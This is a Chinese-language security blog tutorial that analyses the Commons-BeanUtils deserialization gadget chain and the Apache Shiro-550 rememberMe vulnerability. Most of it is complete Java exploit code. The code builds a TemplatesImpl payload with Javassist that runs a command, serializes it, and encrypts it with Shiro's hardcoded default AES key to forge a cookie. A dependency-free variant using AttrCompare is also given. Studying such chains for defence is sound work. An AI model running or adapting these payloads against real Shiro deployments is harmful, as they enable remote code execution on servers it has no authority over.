前言
Shiro，一个流行的web框架，养活了一大批web狗，现在来对它分析分析。Shiro的gadget是CB链，其实是CC4改过来的，因为Shiro框架是自带
Commoncollections
的，除此之外还带了一个包叫做
CommonBeanUtils
，主要利用类就在这个包里
环境搭建
https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
编辑shiro/samples/web目录下的pom.xml,将jstl的版本修改为1.2
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
<scope>runtime</scope>
</dependency>
之后tomat搭起来就行了，选择sample-web.war
CB链分析
先回顾一下CC4
* Gadget chain:
* ObjectInputStream.readObject()
* PriorityQueue.readObject()
* PriorityQueue.heapify()
* PriorityQueue.siftDown()
* PriorityQueue.siftDownUsingComparator()
* TransformingComparator.compare()
* InvokerTransformer.transform()
* Method.invoke()
* TemplatesImpl.newTransformer()
* TemplatesImpl.getTransletInstance()
* Runtime.exec()
CB链跟CC4的不同点就是从compare开始的，正好可以从CommonBeanUtils包里找到
BeanComparator
这个类
主要看
PropertyUtils.getProperty
这个方法可以任意类的get方法调用，可以调用任意bean(class)的一个get方法去获取name
property
属性
写个demo测试一下
package org.example;
import org.apache.commons.beanutils.PropertyUtils;
import java.lang.reflect.InvocationTargetException;
public class User {
private String name;
private int age;
public User(String name, int age){
this.name = name;
this.age = age;
}
public String getName() {
System.out.println("Hello, getname");
return name;
}
public int getAge() {
System.out.println("Hello, getage");
return age;
}
public void setName(String name) {
this.name = name;
}
public void setAge(int age) {
this.age = age;
}
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
PropertyUtils.getProperty(new User("F12", 18), "name");
PropertyUtils.getProperty(new User("F12", 18), "age");
}
}
// 输出
Hello, getname
Hello, getage
这样就可以利用
TemplatesImpl
中的
getOutputProperties
方法，这里面可以触发任意类的实例化，从而执行命令，注意这个类须继承
AbstractTranslet
类，或则改掉父类的默认值，如果忘了请回顾CC3
依赖：
<dependencies>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.2.4</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.27.0-GA</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.1.1</version>
</dependency>
</dependencies>
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class Test {
public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws IOException {
FileOutputStream fis = new FileOutputStream("cb.bin");
ObjectOutputStream ois = new ObjectOutputStream(fis);
ois.writeObject(obj);
}
public static void deserialize(String filename) throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream(filename);
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
}
public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ct = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ct.makeClassInitializer().insertBefore(cmd);
String randomClassName = "Evil" + System.nanoTime();
ct.setName(randomClassName);
ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{ct.toBytecode()});
setFieldValue(obj, "_name", "F12");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator beanComparator = new BeanComparator();
final PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
priorityQueue.add(1);
priorityQueue.add(2);
setFieldValue(beanComparator, "property", "outputProperties");
setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});
serialize(priorityQueue);
deserialize("cb.bin");
}
}
追踪一下链的过程，在
PriorityQueue
的readObject打个断点，开追，进入heapify
进入siftDown
进入siftDownUsingComparator
进入compare，到达关键点，获取TemplatesImpl的outputProperites属性
调用
TemplatesImpl.getOutputProperites
进入newTransformer
进入getTransletInstance，到达世界最高城
defineTransletClasses
后面就不看了，就是defineClass，至此CB链结束，还挺简单的
Shiro550分析
环境上面已经搭建好了，这里不说了
Shiro550用的其实就是CB链，这里只是有一些细节需要注意，Shiro的触发点是Cookie处解码时会进行反序列化，他生成的反序列化字符串是进行AES对称加密的，因此要在对数据进行一次AES加密，反序列化漏洞的利用就建立在知晓key的情况下，而shiro最初时，key是直接硬编码写在源码里的，全局搜serialize
可以看到这个DEFAULT_CIPHER_KEY_BYTES，amazing
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.PriorityQueue;
public class Test {
public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws IOException {
FileOutputStream fis = new FileOutputStream("cb.bin");
ObjectOutputStream ois = new ObjectOutputStream(fis);
ois.writeObject(obj);
}
public static void deserialize(String filename) throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream(filename);
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
}
public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ct = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ct.makeClassInitializer().insertBefore(cmd);
String randomClassName = "Evil" + System.nanoTime();
ct.setName(randomClassName);
ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{ct.toBytecode()});
setFieldValue(obj, "_name", "F12");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator beanComparator = new BeanComparator();
final PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
priorityQueue.add(1);
priorityQueue.add(2);
setFieldValue(beanComparator, "property", "outputProperties");
setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});
serialize(priorityQueue);
byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\Property\\cb.bin"));
AesCipherService aes = new AesCipherService();
byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource encrypt = aes.encrypt(bytes, key);
System.out.println(encrypt.toString());
}
}
但是直接报错了，报的是cc中的
ComparableComparator
的那个错，虽然shiro中内置了CommonCollection的一部分，但是并不是所有，而
org.apache.commons.collections.comparators.ComparableComparator
这个类就在CC包里面,且在shiro中没有，所以寄
无依赖Shiro550 Attack
关键点在于compare方法，如果不指定comparator的话，会默认为cc中的
ComparableComparator
因此我们需要指定一个Comparator
- 实现java.util.Comparator接口
- 实现java.io.Serializable接口
- Java、shiro或commons-beanutils自带，且兼容性强
可以找到AttrCompare
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.map.CaseInsensitiveMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import sun.misc.ASCIICaseInsensitiveComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;
public class Test {
public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws IOException {
FileOutputStream fis = new FileOutputStream("cb.bin");
ObjectOutputStream ois = new ObjectOutputStream(fis);
ois.writeObject(obj);
}
public static void deserialize(String filename) throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream(filename);
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
}
public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ct = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ct.makeClassInitializer().insertBefore(cmd);
String randomClassName = "Evil" + System.nanoTime();
ct.setName(randomClassName);
ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{ct.toBytecode()});
setFieldValue(obj, "_name", "F12");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator beanComparator = new BeanComparator();
final PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
priorityQueue.add(1);
priorityQueue.add(2);
setFieldValue(beanComparator, "property", "outputProperties");
setFieldValue(beanComparator, "comparator", new AttrCompare());
setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});
serialize(priorityQueue);
byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\Property\\cb.bin"));
AesCipherService aes = new AesCipherService();
byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource encrypt = aes.encrypt(bytes, key);
System.out.println(encrypt.toString());
}
}
成功Attack
